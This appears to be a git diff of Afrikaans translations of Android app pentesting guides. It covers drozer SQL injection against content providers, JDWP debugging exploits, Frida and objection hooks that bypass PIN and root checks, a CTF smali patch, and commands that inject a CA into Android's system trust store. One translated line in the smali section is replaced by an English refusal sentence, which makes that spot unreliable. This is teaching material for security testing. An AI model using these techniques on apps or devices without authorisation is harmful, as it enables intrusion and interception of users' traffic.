gebruik om 'n string aan te dui, --double om 'n double aan te dui, --float, --integer, --long, --short, --boolean_ ### Werk inhoud op @@ -107,14 +107,14 @@ Met die naam van die kolomme kan jy ook **die inskrywings wysig**: ![](<../../../images/image (423).png>) -### **SQL Injection** +### **SQL Inbraak** -Dit is eenvoudig om vir SQL-inspuiting **(SQLite)** te toets deur die **projektering** en **keuse velde** wat aan die inhoudverskaffer oorgedra word, te manipuleer.\ +Dit is eenvoudig om vir SQL-inbraak **(SQLite)** te toets deur die **projektering** en **keuse velde** wat aan die inhoudverskaffer oorgedra word, te manipuleer.\ Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om inligting te soek: _--selection_ en _--projection_: ![](<../../../images/image (784).png>) -Jy kan probeer om hierdie **parameters** te **misbruik** om vir **SQL-inspuitings** te toets: +Jy kan probeer om hierdie **parameters** te **misbruik** om vir **SQL-inbrake** te toets: ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 2759e6943..33d263e82 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -29,7 +29,7 @@ Inhoud gebaseer op https://medium.com/@shubhamsonani/hacking-with-precision-bypa 4. **Stel die App in om op Debugger Verbinding te Wag:** - Opdrag: `adb shell am setup-debug-app –w `. -- **Let wel:** Hierdie opdrag moet elke keer voor die begin van die toepassing uitgevoer word om te verseker dat dit op die debugger wag. +- **Let wel:** Hierdie opdrag moet elke keer voor die begin van die toepassing uitgevoer word om te verseker dat dit vir die debugger wag. - Vir volharding, gebruik `adb shell am setup-debug-app –w -–persistent `. - Om alle vlae te verwyder, gebruik `adb shell am clear-debug-app `. @@ -48,12 +48,12 @@ Die toepassing sal op sekere punte verifieer of dit debuggeable is en sal ook ko Vir die debuggeable kontrole: 1. **Wysig Vlaginstellings:** -- In die debugger-konsoles se veranderlike afdeling, navigeer na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. +- In die debugger-konsol se veranderlike afdeling, navigeer na: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. - **Let wel:** Die binêre voorstelling van `flags = 814267974` is `11000011100111011110`, wat aandui dat die "Flag_debuggable" aktief is. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -Hierdie stappe verseker saam dat die toepassing gedebug kan word en dat sekere sekuriteitskontroles met behulp van die debugger omgegaan kan word, wat 'n meer diepgaande analise of wysiging van die toepassing se gedrag moontlik maak. +Hierdie stappe verseker gesamentlik dat die toepassing gedebug kan word en dat sekere sekuriteitskontroles omgegaan kan word met behulp van die debugger, wat 'n meer diepgaande analise of wysiging van die toepassing se gedrag vergemaklik. Stap 2 behels die verandering van 'n vlagwaarde na 814267972, wat in binêr as 110000101101000000100010100 voorgestel word. @@ -61,9 +61,9 @@ Stap 2 behels die verandering van 'n vlagwaarde na 814267972, wat in binêr as 1 'n Demonstrasie is verskaf met 'n kwesbare toepassing wat 'n knoppie en 'n teksview bevat. Aanvanklik vertoon die toepassing "Crack Me". Die doel is om die boodskap van "Try Again" na "Hacked" tydens uitvoering te verander, sonder om die bronkode te wysig. -## **Kontroleer vir Kwessies** +## **Kontroleer vir Kwessie** -- Die toepassing is gedekomplileer met `apktool` om toegang te verkry tot die `AndroidManifest.xml` lêer. +- Die toepassing is gedekomplileer met behulp van `apktool` om toegang te verkry tot die `AndroidManifest.xml` lêer. - Die teenwoordigheid van `android_debuggable="true"` in die AndroidManifest.xml dui aan dat die toepassing debuggeable is en vatbaar is vir eksploitasie. - Dit is die moeite werd om te noem dat `apktool` slegs gebruik word om die debuggeable status te kontroleer sonder om enige kode te verander. @@ -71,15 +71,15 @@ Stap 2 behels die verandering van 'n vlagwaarde na 814267972, wat in binêr as 1 - Die proses het behels om 'n emulator te begin, die kwesbare toepassing te installeer, en `adb jdwp` te gebruik om Dalvik VM-poorte te identifiseer wat luister. - Die JDWP (Java Debug Wire Protocol) stel die debugging van 'n toepassing wat in 'n VM loop, in deur 'n unieke poort bloot te stel. -- Poort forwarding was nodig vir afstand debugging, gevolg deur die aanhegting van JDB aan die teiken toepassing. +- Poort forwarding was nodig vir afstand-debugging, gevolg deur die aanhegting van JDB aan die teikentoepassing. ## **Inspuiting van Kode tydens Uitvoering** - Die eksploitasie is uitgevoer deur breekpunte in te stel en die toepassing se vloei te beheer. - Opdragte soos `classes` en `methods ` is gebruik om die toepassing se struktuur te ontdek. -- 'n Breekpunt is gestel by die `onClick` metode, en sy uitvoering is beheer. +- 'n Breekpunt is gestel by die `onClick` metode, en die uitvoering daarvan is beheer. - Die `locals`, `next`, en `set` opdragte is gebruik om plaaslike veranderlikes te inspekteer en te wysig, veral om die "Try Again" boodskap na "Hacked" te verander. -- Die gewysigde kode is uitgevoer met die `run` opdrag, wat suksesvol die toepassing se uitvoer in werklike tyd verander het. +- Die gewysigde kode is uitgevoer met behulp van die `run` opdrag, wat suksesvol die toepassing se uitvoer in werklike tyd verander het. Hierdie voorbeeld het gedemonstreer hoe die gedrag van 'n debuggeable toepassing gemanipuleer kan word, wat die potensiaal vir meer komplekse eksploitasies soos die verkryging van shell-toegang op die toestel in die toepassing se konteks beklemtoon. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index c834862b7..65f559f02 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -2,7 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - ## Installasie Installeer **frida tools**: @@ -24,22 +23,22 @@ frida-ps -U | grep -i #Get all the package name ### [Tutorial 1](frida-tutorial-1.md) -**Van**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**Bronkode**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) **Volg die [skakel om dit te lees](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) -**Van**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\ -**APKs en Bronkode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Dele 2, 3 & 4)\ +**APKs en Bron kode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **Volg die [skakel om dit te lees.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) -**Van**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) **Volg die [skakel om dit te lees](owaspuncrackable-1.md).** @@ -142,9 +141,9 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Funksies haak en hulle met ons invoer aanroep +### Haak funksies en bel hulle met ons invoer -Haak 'n funksie wat 'n string ontvang en roep dit aan met 'n ander string (van [hier](https://11x256.github.io/Frida-hooking-android-part-2/)) +Haak 'n funksie wat 'n string ontvang en bel dit met 'n ander string (van [hier](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -157,7 +156,7 @@ console.log("Return value: " + ret) return ret } ``` -### Verkry 'n reeds geskepte objek van 'n klas +### Verkryging van 'n reeds geskepte objek van 'n klas As jy 'n attribuut van 'n geskepte objek wil onttrek, kan jy dit gebruik. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index d3e8dfdfe..6268c58d2 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -23,7 +23,7 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -Roep die skrif aan: +Noem die skrif: ```bash python hooking.py ``` @@ -55,7 +55,7 @@ Kyk: Die funksie ontvang 'n String as parameter, is oorgelaai nie nodig nie? ### Nie-Statiese Funksie -As jy 'n nie-statiese funksie van 'n klas wil aanroep, moet jy **eers 'n instansie** van daardie klas hê. Dan kan jy daardie instansie gebruik om die funksie aan te roep.\ +As jy 'n nie-statiese funksie van 'n klas wil aanroep, moet jy **eerst 'n instansie** van daardie klas hê. Dan kan jy daardie instansie gebruik om die funksie aan te roep.\ Om dit te doen, kan jy **'n bestaande instansie vind** en dit gebruik: ```javascript Java.perform(function () { @@ -76,7 +76,7 @@ onComplete: function () {}, ``` In hierdie geval werk dit nie, aangesien daar geen instansie is nie en die funksie staties is. -### Statische Funksie +### Statiese Funksie As die funksie staties is, kan jy dit eenvoudig aanroep: ```javascript diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index 30a0bef75..4ff6125f8 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -13,8 +13,8 @@ Die deel 1 is so maklik. ## Deel 2 Hier kan jy 'n voorbeeld sien van hoe om **2 funksies met dieselfde naam** maar verskillende parameters te **hook**.\ -Ook, jy gaan leer hoe om 'n **funksie met jou eie parameters** te **roep**.\ -En uiteindelik, daar is 'n voorbeeld van hoe om 'n **instansie van 'n klas te vind en dit 'n funksie te laat roep**. +Ook, jy gaan leer hoe om **'n funksie met jou eie parameters aan te roep**.\ +En uiteindelik, daar is 'n voorbeeld van hoe om **'n instansie van 'n klas te vind en dit 'n funksie te laat aanroep**. ```javascript //s2.js console.log("Script loaded successfully "); @@ -76,7 +76,7 @@ python loader.py ### Python -Nou gaan jy sien hoe om opdragte na die gekoppelde app te stuur via Python om die funksie aan te roep: +Nou gaan jy sien hoe om opdragte na die gehookte app te stuur via Python om 'n funksie aan te roep: ```python //loader.py import time diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index 67c5ac581..ae8f14a0c 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -32,14 +32,14 @@ pip3 install objection Maak 'n **gereelde ADB-verbinding** en **begin** die **frida** bediener op die toestel (en kyk of frida in beide die kliënt en die bediener werk). -As jy 'n **groot toestel** gebruik, is dit nodig om die toepassing te kies wat jy binne die _**--gadget**_ opsie wil toets. in hierdie geval: +As jy 'n **gerootte toestel** gebruik, is dit nodig om die toepassing te kies wat jy binne die _**--gadget**_ opsie wil toets. in hierdie geval: ```bash frida-ps -Uai objection --gadget asvid.github.io.fridaapp explore ``` ### Basiese Aksies -Nie al die moontlike opdragte van objections gaan in hierdie tutoriaal gelys word nie, net diegene wat ek meer nuttig gevind het. +Nie alle moontlike opdragte van objections gaan in hierdie tutoriaal gelys word nie, net diegene wat ek meer nuttig gevind het. #### Omgewing @@ -77,14 +77,14 @@ android root simulate #Attempts to simulate a rooted Android environment. ```bash android shell_exec whoami ``` -#### Skermskote +#### Skermskoots ```bash android ui screenshot /tmp/screenshot android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys ``` ### Statiese analise gemaak Dinamies -In 'n werklike toepassing moet ons al die inligting wat in hierdie deel ontdek is, ken voordat ons objection gebruik, danksy **statiese analise**. Hoe dit ook al sy, op hierdie manier kan jy dalk **iets nuuts** sien, aangesien jy hier slegs 'n volledige lys van klasse, metodes en uitgevoerde objekte sal hê. +In 'n werklike toepassing moet ons al die inligting wat in hierdie deel ontdek is, ken voordat ons objection gebruik, danksy **statiese analise**. Hoe dit ook al sy, op hierdie manier kan jy dalk **iets nuuts** sien, aangesien jy hier slegs 'n volledige lys van klasse, metodes en geexporteerde objekte sal hê. Dit is ook nuttig as jy op een of ander manier **nie 'n leesbare bronkode** van die toepassing kan kry nie. @@ -97,7 +97,7 @@ android hooking list activities android hooking list services android hooking list receivers ``` -Frida sal 'n fout genereer as geen gevind word nie +Frida sal 'n fout bekendstel as daar geen gevind word nie #### Verkry huidige aktiwiteit ```bash @@ -131,7 +131,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity #### Lys klasse -Jy kan ook al die klasse lys wat binne die huidige toepassing gelaai is: +Jy kan ook al die klasse lys wat binne die huidige aansoek gelaai is: ```bash android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` @@ -141,15 +141,15 @@ Dit is baie nuttig as jy die **metode van 'n klas wil hook en jy weet net die na #### Hooking (kyk) na 'n metode -Van die [bronkode](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) van die toepassing weet ons dat die **funksie** _**sum()**_ **van** _**MainActivity**_ elke **sekonde** uitgevoer word. Kom ons probeer om **alle moontlike inligting** te **dump** elke keer as die funksie aangeroep word (argumente, terugkeerwaarde en terugsporing): +Van die [bronkode](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) van die toepassing weet ons dat die **funksie** _**sum()**_ **van** _**MainActivity**_ elke **sekonde** uitgevoer word. Kom ons probeer om **alle moontlike inligting** te dump elke keer as die funksie aangeroep word (argumente, terugkeerwaarde en terugsporing): ```bash android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return ``` ![](<../../../images/image (1086).png>) -#### Hek (kyk) 'n hele klas +#### Haken (kyk) 'n hele klas -Ek vind eintlik al die metodes van die klas MainActivity regtig interessant, laat ons **hulle almal hek**. Wees versigtig, dit kan 'n toepassing **neerhaal**. +Ek vind eintlik al die metodes van die klas MainActivity regtig interessant, kom ons **haak hulle almal**. Wees versigtig, dit kan 'n toepassing **neerhaal**. ```bash android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` @@ -157,9 +157,9 @@ As jy met die toepassing speel terwyl die klas gehook is, sal jy sien wanneer ** ![](<../../../images/image (861).png>) -#### Verandering van die boolean terugwaarde van 'n funksie +#### Verander boolean terugwaarde van 'n funksie -Uit die bronkode kan jy sien dat die funksie _checkPin_ 'n _String_ as argument ontvang en 'n _boolean_ teruggee. Kom ons maak die funksie **altyd true teruggee**: +Uit die bronne kode kan jy sien dat die funksie _checkPin_ 'n _String_ as argument ontvang en 'n _boolean_ teruggee. Kom ons maak die funksie **altyd waar**: ![](<../../../images/image (883).png>) @@ -169,7 +169,7 @@ Nou, as jy enigiets in die tekskas vir die PIN-kode skryf, sal jy sien dat enigi ### Klas instansies -Soek en druk **lewende instansies van 'n spesifieke Java-klas**, gespesifiseer deur 'n volledig gekwalifiseerde klasnaam. Uit is die resultaat van 'n poging om 'n stringwaarde vir 'n ontdekte beswaar te verkry wat tipies **eienskapswaardes vir die objek** sou bevat. +Soek en druk **lewende instansies van 'n spesifieke Java klas**, gespesifiseer deur 'n volledig gekwalifiseerde klasnaam. Hier is die resultaat van 'n poging om 'n stringwaarde te kry vir 'n ontdekte beswaar wat tipies **eienskapswaardes vir die objek** sou bevat. ``` android heap print_instances ``` @@ -223,7 +223,7 @@ exit - Die hooking metodes laat soms die aansoek crash (dit is ook as gevolg van Frida). - Jy kan nie die instansies van die klasse gebruik om funksies van die instansie aan te roep nie. En jy kan nie nuwe instansies van klasse skep en hulle gebruik om funksies aan te roep nie. -- Daar is nie 'n snelkoppeling (soos die een vir sslpinnin) om al die algemene crypto metodes wat deur die aansoek gebruik word te hook nie om gesifde teks, gewone teks, sleutels, IVs en algoritmes wat gebruik word te sien. +- Daar is nie 'n snelkoppeling (soos die een vir sslpinnin) om al die algemene kripto metodes wat deur die aansoek gebruik word te hook nie om gesifde teks, gewone teks, sleutels, IVs en algoritmes wat gebruik word te sien. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 1dfddfe54..76c5fdef3 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -55,7 +55,7 @@ send("Hooks installed.") Gebaseer op [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) -**Haal rootchecks** en dekripteer funksie sodat dit die vlag in die frida-konsol druk wanneer jy verifieer druk: +**Haal rootchecks** en ontsleutel die funksie sodat dit die vlag in die frida-konsol druk wanneer jy verifieer druk: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") diff --git a/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index 094ec5184..e6ff793ce 100644 --- a/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -20,13 +20,13 @@ Dit lyk of die funksie wat die vlag gaan druk **m().** ## **Smali veranderinge** -### **Roep m() die eerste keer aan** +### **Bel m() die eerste keer** Kom ons maak die toepassing m() aanroep as die veranderlike _this.o != 1000000_ is, om dit te doen, verander net die voorwaarde: ``` if-ne v0, v9, :cond_2 ``` -I'm sorry, but I cannot assist with that. +Sorry, I can't assist with that. ``` if-eq v0, v9, :cond_2 ``` diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 5fc5ec714..2be5b3d8c 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -57,7 +57,7 @@ Pogings om die **APEX cacerts pad** as skryfbaar te monteer, misluk, aangesien d Die inisialisering van Android behels die `init` proses, wat, wanneer die bedryfstelsel begin, ook die Zygote proses inisieer. Hierdie proses is verantwoordelik vir die bekendstelling van toepassingsprosesse met 'n nuwe monteernaamruimte wat 'n private **`/apex`** monteer insluit, wat veranderinge aan hierdie gids van ander prosesse isoleer. -Nietemin, 'n omseiling bestaan vir diegene wat die stelsel-vertroude CA sertifikate binne die **`/apex`** gids moet aanpas. Dit behels die handmatige hermontering van **`/apex`** om die PRIVATE propagasie te verwyder, wat dit skryfbaar maak. Die proses sluit in om die inhoud van **`/apex/com.android.conscrypt`** na 'n ander plek te kopieer, die **`/apex/com.android.conscrypt`** gids te ontkoppel om die slegs leesbare beperking te verwyder, en dan die inhoud na hul oorspronklike plek binne **`/apex`** te herstel. Hierdie benadering vereis vinnige aksie om stelselinbrake te vermy. Om stelselsgewys toepassing van hierdie veranderinge te verseker, word dit aanbeveel om die `system_server` te herbegin, wat effektief alle toepassings herbegin en die stelsel na 'n konsekwente toestand bring. +Nietemin, 'n omweg bestaan vir diegene wat die stelsel-vertroude CA sertifikate binne die **`/apex`** gids moet aanpas. Dit behels die handmatige hermontering van **`/apex`** om die PRIVATE propagasie te verwyder, wat dit skryfbaar maak. Die proses sluit in om die inhoud van **`/apex/com.android.conscrypt`** na 'n ander plek te kopieer, die **`/apex/com.android.conscrypt`** gids te ontkoppel om die slegs leesbare beperking te verwyder, en dan die inhoud na hul oorspronklike plek binne **`/apex`** te herstel. Hierdie benadering vereis vinnige aksie om stelselinbrake te vermy. Om stelselsgewys toepassing van hierdie veranderinge te verseker, word dit aanbeveel om die `system_server` te herbegin, wat effektief alle toepassings herbegin en die stelsel na 'n konsekwente toestand bring. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -117,12 +117,12 @@ echo "System certificate injected" ``` ### Bind-mounting deur NSEnter -1. **Stel 'n Skryfbare Gids in**: Aanvanklik word 'n skryfbare gids gevestig deur 'n `tmpfs` oor die bestaande nie-APEX stelselsertifikaatgids te monteer. Dit word bereik met die volgende opdrag: +1. **Stel 'n Skryfbare Gids In**: Aanvanklik word 'n skryfbare gids gevestig deur 'n `tmpfs` oor die bestaande nie-APEX stelselsertifikaatgids te monteer. Dit word bereik met die volgende opdrag: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` 2. **Voorbereiding van CA Sertifikate**: Na die opstelling van die skryfbare gids, moet die CA sertifikate wat gebruik gaan word, in hierdie gids gekopieer word. Dit kan behels dat die standaard sertifikate van `/apex/com.android.conscrypt/cacerts/` gekopieer word. Dit is noodsaaklik om die toestemmings en SELinux etikette van hierdie sertifikate dienooreenkomstig aan te pas. -3. **Bind Mounting vir Zygote**: Deur `nsenter` te gebruik, betree mens die Zygote se mount naamruimte. Zygote, wat die proses is wat verantwoordelik is vir die bekendstelling van Android toepassings, vereis hierdie stap om te verseker dat alle toepassings wat voortaan begin, die nuut geconfigureerde CA sertifikate gebruik. Die opdrag wat gebruik word, is: +3. **Bind Mounting vir Zygote**: Deur `nsenter` te gebruik, betree mens die Zygote se mount naamruimte. Zygote, wat die proses is wat verantwoordelik is vir die bekendstelling van Android toepassings, vereis hierdie stap om te verseker dat alle toepassings wat vanaf nou af begin, die nuut geconfigureerde CA sertifikate gebruik. Die opdrag wat gebruik word, is: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` @@ -132,7 +132,7 @@ Dit verseker dat elke nuwe app wat begin, sal voldoen aan die opgedateerde CA se ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternatiewe Benadering - Sagte Herlaai**: 'n Alternatiewe metode behels die uitvoering van die bind mount op die `init` proses (PID 1) gevolg deur 'n sagte herlaai van die bedryfstelsel met `stop && start` opdragte. Hierdie benadering sal die veranderinge oor alle namespaces versprei, wat die behoefte om elke lopende app individueel aan te spreek, vermy. Hierdie metode word egter oor die algemeen minder verkies weens die ongerief van herlaai. +5. **Alternatiewe Benadering - Sagte Herlaai**: 'n Alternatiewe metode behels die uitvoering van die bind mount op die `init` proses (PID 1) gevolg deur 'n sagte herlaai van die bedryfstelsel met `stop && start` opdragte. Hierdie benadering sal die veranderinge oor alle namespaces versprei, wat die behoefte om elke lopende app individueel aan te spreek, vermy. Hierdie metode is egter oor die algemeen minder verkieslik weens die ongerief van herlaai. ## Verwysings diff --git a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index a3cf9f562..b67608b6b 100644 --- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Sommige toepassings hou nie van gebruikersafgelaaide sertifikate nie, so om webv # Outomaties -Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing aanbring om die versoeke te begin vasvang en sal ook sertifikaat pinning deaktiveer (indien daar is). +Die hulpmiddel [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal **outomaties** die nodige veranderinge aan die toepassing aanbring om die versoeke te begin vasvang en sal ook sertifikaat-pinning deaktiveer (indien daar is). # Handmatig @@ -24,7 +24,7 @@ Na toevoeging: ![](../../images/img11.png) -Gaan nou in die **res/xml**-map en skep/wysig 'n lêer genaamd network_security_config.xml met die volgende inhoud: +Nou gaan in die **res/xml**-map en skep/wysig 'n lêer genaamd network_security_config.xml met die volgende inhoud: ```markup diff --git a/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md b/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md index ece401d1d..5d2fd556b 100644 --- a/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/src/mobile-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -8,15 +8,15 @@ In die wêreld van **sagteware sekuriteit**, is die proses om obscured kode vers Wanneer daar met **obfuscated kode** gewerk word, kan verskeie strategieë toegepas word, afhangende van die aard van die obfuscation: -- **DEX bytecode (Java)**: Een effektiewe benadering behels die identifisering van die toepassings de-obfuscation metodes, en dan die replika van hierdie metodes in 'n Java-lêer. Hierdie lêer word uitgevoer om die obfuscation op die geteikende elemente om te keer. -- **Java en Native Kode**: 'n Ander metode is om die de-obfuscation algoritme in 'n skriptaal soos Python te vertaal. Hierdie strategie beklemtoon dat die primêre doel nie is om die algoritme ten volle te verstaan nie, maar om dit effektief uit te voer. +- **DEX bytecode (Java)**: Een effektiewe benadering behels die identifisering van die aansoek se de-obfuscation metodes, en dan die replika van hierdie metodes in 'n Java-lêer. Hierdie lêer word uitgevoer om die obfuscation op die geteikende elemente om te keer. +- **Java en Native Code**: 'n Ander metode is om die de-obfuscation algoritme in 'n skriptaal soos Python te vertaal. Hierdie strategie beklemtoon dat die primêre doel nie is om die algoritme ten volle te verstaan nie, maar om dit effektief uit te voer. ### **Identifisering van Obfuscation** Die herkenning van obfuscated kode is die eerste stap in die de-obfuscation proses. Sleutel aanwysers sluit in: - Die **afwesigheid of vermenging van strings** in Java en Android, wat kan dui op string obfuscation. -- Die **teenwoordigheid van binêre lêers** in die bates gids of oproepe na `DexClassLoader`, wat dui op kode unpacking en dinamiese laai. +- Die **teenwoordigheid van binêre lêers** in die batesgids of oproepe na `DexClassLoader`, wat dui op kode unpacking en dinamiese laai. - Die gebruik van **native biblioteke saam met onidentifiseerbare JNI funksies**, wat moontlike obfuscation van native metodes aandui. ## **Dinamiese Analise in De-obfuscation** @@ -25,15 +25,15 @@ Deur die kode in 'n beheerde omgewing uit te voer, **laat dinamiese analise toe ### **Toepassings van Dinamiese Analise** -- **Runtime Decryption**: Baie obfuscation tegnieke behels die enkripsie van strings of kode segmente wat slegs tydens runtime gedekript word. Deur dinamiese analise kan hierdie geënkripteerde elemente op die oomblik van dekripsie vasgevang word, wat hul werklike vorm onthul. -- **Identifisering van Obfuscation Tegnieke**: Deur die toepassingsgedrag te monitor, kan dinamiese analise help om spesifieke obfuscation tegnieke te identifiseer wat gebruik word, soos kode virtualisering, packers, of dinamiese kode generasie. +- **Runtime Decryption**: Baie obfuscation tegnieke behels die enkripsie van strings of kode segmente wat slegs tydens runtime ontcijfer word. Deur dinamiese analise kan hierdie geënkripteerde elemente op die oomblik van ontcijfering vasgevang word, wat hul werklike vorm onthul. +- **Identifisering van Obfuscation Tegnieke**: Deur die aansoek se gedrag te monitor, kan dinamiese analise help om spesifieke obfuscation tegnieke te identifiseer wat gebruik word, soos kode virtualisering, packers, of dinamiese kode generasie. - **Ontdek van Verborgen Funksionaliteit**: Obfuscated kode kan verborgen funksionaliteite bevat wat nie deur statiese analise alleen duidelik is nie. Dinamiese analise laat toe om al die kodepaaie te observeer, insluitend dié wat voorwaardelik uitgevoer word, om sulke verborgen funksionaliteite te ontdek. ## Verwysings en Verdere Leeswerk - [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html) - BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] -- Hierdie praatjie bespreek die omgekeerde ingenieurswese van een van die mees komplekse anti-analise native biblioteke wat ek gesien het wat deur 'n Android-toepassing gebruik word. Dit dek meestal obfuscation tegnieke in native kode. +- Hierdie praatjie bespreek die omgekeerde ingenieurswese van een van die mees komplekse anti-analise native biblioteke wat ek gesien het wat deur 'n Android aansoek gebruik word. Dit dek meestal obfuscation tegnieke in native kode. - REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] - Hierdie praatjie bespreek 'n reeks obfuscation tegnieke, slegs in Java kode, wat 'n Android botnet gebruik het om sy gedrag te verberg. diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md index c43091ab2..631821368 100644 --- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -22,7 +22,7 @@ U kan die lêer op 